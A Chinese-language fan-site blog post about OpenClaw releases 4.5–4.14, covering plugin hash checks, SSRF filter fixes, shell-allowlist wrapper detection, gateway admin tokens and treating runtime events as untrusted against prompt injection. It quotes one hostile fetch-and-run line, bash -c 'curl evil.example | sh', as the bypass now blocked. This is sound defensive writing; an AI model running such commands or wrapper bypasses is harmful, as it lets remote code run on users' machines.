这是粉丝自建站点,和 OpenClaw 官方及 Anthropic 没有关系。 github.com/openclaw/openclaw
release security browser breaking-changes

OpenClaw 4.5–4.14:第二次围城——你大概没注意到的十天安全攻坚

OpenClaws.io Team

OpenClaws.io Team

@openclaws

2026年4月14日

10 分钟

OpenClaw 4.5–4.14:第二次围城——你大概没注意到的十天安全攻坚

这一轮发布,大部分东西截图是截不出来的。十天,八个版本,diff 的大头都躲在那些不出事就没人看的地方——插件加载器、浏览器工具的 URL 解析器、网关 config 接口、allowlist 表、依赖清单。安全工作本来就该是安静的。这篇文章是那份安静的加长版本。

如果你跑 OpenClaw 的那台笔记本同时也装着你的 SSH key、你的密码管理器、你还没报完的税、以及一个到处都登着号的浏览器——继续往下看。这一轮发布改变的是龙虾被允许碰到的东西的边界。

插件现在会校验,而不只是下载

4.7 之前,从 registry 装一个插件做的事情跟你想的一样:拉归档、解压、跑起来。registry 本身是被信任的;归档本身不会被重新校验。万一 registry 的 CDN 在传输中途被替换、某个镜像被投毒、或者有人在边缘做了中间人,龙虾都会高高兴兴地把回来的东西装上。

4.7 把这条路堵了。每一个插件归档在发布时都被钉死一个 SHA-256 哈希,安装器拒绝解压字节不匹配的任何东西。如果你写插件,openclaw plugin publish 流程会自动把哈希写进 manifest——你什么都不用做。如果你装插件,出问题的第一反应是一条清晰的报错,而不是一次静默的安装。

4.9 的跟进版本把同一套校验延伸到了插件更新——这一步之前一直在悄悄跳过校验,理由是旧版本已经过了检查。这正是攻击者专找的那种假设。现在这个假设没了。

浏览器工具的 SSRF 过滤器,改了三遍

浏览器工具让龙虾能抓页面、跟着链接跳、跑一点点 JavaScript,然后把看到的东西带回来。它是整个产品里最有用的工具之一,同时也是最危险的之一——任何一个替 LLM 去取 URL 的东西,都可能被说服去取错的 URL。Server-Side Request Forgery(SSRF)是给这种失败模式起的体面名字。

这十天里,SSRF 过滤器被重写了三次。

4.7 把主机 allowlist 检查的位置拧到了 DNS 解析之后,而不是之前。老版本是拿主机名字符串先去比 allowlist,然后再解析。这意味着一个看上去是外部地址、但通过一条受控的 DNS 记录解析到 127.0.0.1 的主机名可以偷偷溜进去。现在,解析后的 IP 会去对照私有地址段和 loopback 段的 denylist,一旦命中,不管原来的名字看起来多正经,请求都会被拒掉。

4.9 补上了 IPv6 的覆盖。前一版处理了 10.0.0.0/8172.16.0.0/12192.168.0.0/16127.0.0.0/8 以及 link-local——清一色 IPv4。对应的 IPv6 段(fc00::/7、fe80::/10、::1)理论上被"不在 allowlist 里"的兜底逻辑覆盖着,但从来没端到端测过。4.9 把它们升格为一等的拒绝规则,并且补上了测试矩阵。

4.10 堵了重定向追踪的一个漏洞。如果第一个 URL 通过了过滤、但返回一个 302 指向私有 IP,老代码会跟着跳,不再重新检查。现在,重定向链里的每一跳都会独立过一遍过滤器。浏览器工具可以整天跟着一个公网地址跳到另一个公网地址;但它不会从公网地址跳到 169.254.169.254——如果你是在某个云实例里跑这玩意儿,这就是那个要紧的地址。

4.14 是这几次里会给一部分人带来真正兼容性破坏的那一版。它把浏览器工具对外接口里的 file:// URL 完全禁掉了。通过浏览器工具读本地文件本来是一个没写在文档里的副作用,有几个工作流开始依赖它,但这件事本身就是错的:本地文件读取归文件工具管,那个工具有自己一整套沙箱方案。如果你之前一直把 browser.open('file://...') 当快捷方式用,现在你得切到 file.read,并且接受文件工具在你这套环境下执行的 allowlist。

一个新的 CLI,用来审计龙虾到底能跑什么

4.10 发了 openclaw exec-policy——一个只读 CLI,把当前 workspace 生效的 shell 执行策略一次性打出来。它会在一屏之内告诉你:哪些命令在 allowlist 上、哪些被拒、哪些需要二次确认、以及每一条规则是从哪儿来的(用户配置、workspace 配置、插件,还是默认值)。

装完一个新插件之后就该跑它。插件可以注册 shell 命令;大多数都没毛病;少数会悄悄扩大龙虾能执行的东西的范围。4.10 之前,合并后的结果没有一个统一的地方能看——你得翻好几份配置文件、自己推优先级。现在一条命令就能看到,而且输出稳定到可以管道接进一个测试里。

4.12 的配套改动更小、但挺损:执行层现在会识别试图用 shell 包装命令绕过 allowlist 的调用方式。经典套路是 bash -c 'curl evil.example | sh'——在 bash 被允许、curl 被禁的情况下。包装检测会盯上 -c 这种形式,把里面的命令字符串剥出来,按它被直接调用一样过一遍 allowlist。如果里面那条命令本来会被拒,外层包装也一起被拒。

网关 config 接口加了守卫

如果你在 gateway 模式下跑 OpenClaw——就是多个客户端共用一只龙虾实例的那个模式——网关会暴露一个小的 admin API,用来读写服务器端配置。4.7 和 4.14 把这一端收紧了。

4.7 把 config.apply(替换整份配置)和 config.patch(合并一次局部更新)拆开了。两者以前都存在、但共用同一条代码路径,合并语义没定义清楚到那种程度——通过 patch 一个同级字段就能把一个嵌套的 admin key 干掉。拆开之后,每个动词都有自己的校验器。patch 现在是真正的深度合并,要显式删除就得用 $delete 哨兵;apply 则要求传入一份完整合法的配置,否则直接拒掉。

4.14 在这两个接口上加了一条:只要网关绑到了 localhost 以外的任何地址,都必须带一个签名过的 token。如果你之前在一台开发机上用 --host 0.0.0.0 跑网关、靠网络分段把人挡在外面——现在网关会在这种配置下拒绝启动,除非你同时传 --admin-token,或者显式地用 --admin-insecure 退出这道保护。这个 flag 的名字是故意起得难看的。你应该必须亲手打出 "insecure" 这个词,才能拿回老行为。

被当成模板数据的凭据

4.12 修了一个存在很久的难看问题:新 workspace 自带的 .env.example 里有一堆占位 API key,它们长得足够真,以至于至少有一个用户把它们当假的提交到了一个公开仓库。它们确实是假的——值全是零字符串,放在任何 provider 上都不合法——但它们的形状像凭据,我们测过的 linter 把它们报成了凭据泄露。新的 .env.example 换成了一看就明显是假的 token(REPLACE_ME_OR_I_WILL_FAIL),而 openclaw init 流程现在会拒绝把一份含有这类哨兵值的 .env 写到盘上。

小事。后果也不严重。但修掉它的成本是一个下午,不修的代价是将来得再解释一次公开事故。

allowlist 边界,悄悄地收紧

这一轮每一个版本里,坐在龙虾和外界之间的那些 allowlist 表都以很小、很具体的方式被收紧了:

  • 4.5:音乐工具的输出目录默认到 ./generated/music,不再是 workspace 碰巧认为"output"在哪儿就写到哪儿。
  • 4.7:记忆导入的来源被收窄到 file://https:// 以及特定 provider 的 URL。老代码接受任何 urllib 能解析的 URL scheme,其中包括一些会让你意外的。
  • 4.9:视频生成工具的上传路径不再接受 workspace 根目录之外的绝对路径。
  • 4.10:插件的 manifest 不再允许把 * 作为 allowlist 模式声明出来。必须写具体的域名或方法。
  • 4.14:Codex provider 的专用客户端使用与统一 allowlist 分开的一份列表——这样收紧 Codex 不会意外地放宽其他东西。

这些单拎出来哪一条都不算故事。合在一起,它们把炸半径朝对的方向挪了一点。

运行时事件的信任度,被下调了

一个更细的变化,贯穿 4.7、4.9、4.14:从运行时来的事件(工具调用、模型输出、插件回调)不再被当作策略引擎的可信输入。过去,一个工具发出的结构化事件可以通过它自己控制的数据去影响后续的 allowlist 决策——这就是那个经典的"prompt injection 碰到了策略层"的失败模式。运行时事件现在必须先过一轮独立的清洗,才能参与后续任何策略判定;而策略引擎会把来源是"runtime"的字段默认标成污染,除非有一个人类操作员显式把它钉住。

落到实处是:一些依赖"龙虾自己的工具输出去收窄龙虾自己的行为"的边缘工作流需要重写。新的做法是写一条策略规则,而不是让工具发一条提示。如果你撞上了这种情况,4.10 那个 exec-policy CLI 就是你的诊断工具。

依赖审计

4.9 和 4.14 都完整跑了一遍 cargo auditnpm audit,把所有还有未结 advisory 的传递依赖都往上拉了一版。就我们能看到的范围而言,清单里没有哪条正在被针对 OpenClaw 利用;这是例行维护,不是事故响应。这些升级是故意做得无聊的。

唯一一个不无聊的升级:网关用的那个 WebSocket 库在 4.14 跨了一个大版本,关闭帧上报 reason code 的方式变了。如果你之前有代码在网关的 socket 断开信号上读 event.reason,现在它是字符串而不是 buffer 了。这是一个破坏性变更。4.14 的 changelog 里专门标了出来。

新的一路信号:AI 辅助安全审查

最后一件值得点名的事——4.14 引入了一条内部工作流:在安全相关的 diff 合并之前,让第二个模型过一遍。它不会阻拦合并,只留评论。这一轮里,它抓到了两件人工 review 放过去的事:4.9 那次 SSRF 重写里的 IPv6 漏洞(合并前被修掉了),以及 4.7 那次 config.patch 拆分里 $delete 哨兵的歧义(结果是做成了一个显式校验器,而不是那个隐式的)。

我们不想吹过头。第二个模型替代不了第二个人。但它确实是第二遍,而且在这十天快节奏的安全工作里,它就是那个抓住了两件原本会带病上线的东西的一遍。它会继续跑。

一句话版

这篇文章如果你只记一件事:跑 openclaw update 升到 4.14,然后跑一次 openclaw exec-policy,看看龙虾在你这台机器上实际能做些什么。如果输出让你意外,就去收紧它。过去这十天所有工作的意义就在于——你现在可以收紧。

还有,如果你是那些在 --host 0.0.0.0 上跑网关、又没配 admin token 的人之一——请在跑 openclaw update 之前先把这事修了,因为 4.14 在这种配置下会直接拒绝启动;我们更希望你是先读到这篇文章,而不是先看到报错,然后以为是什么东西坏了。

订阅更新

第一时间获取新功能和玩法。放心,不会发垃圾邮件。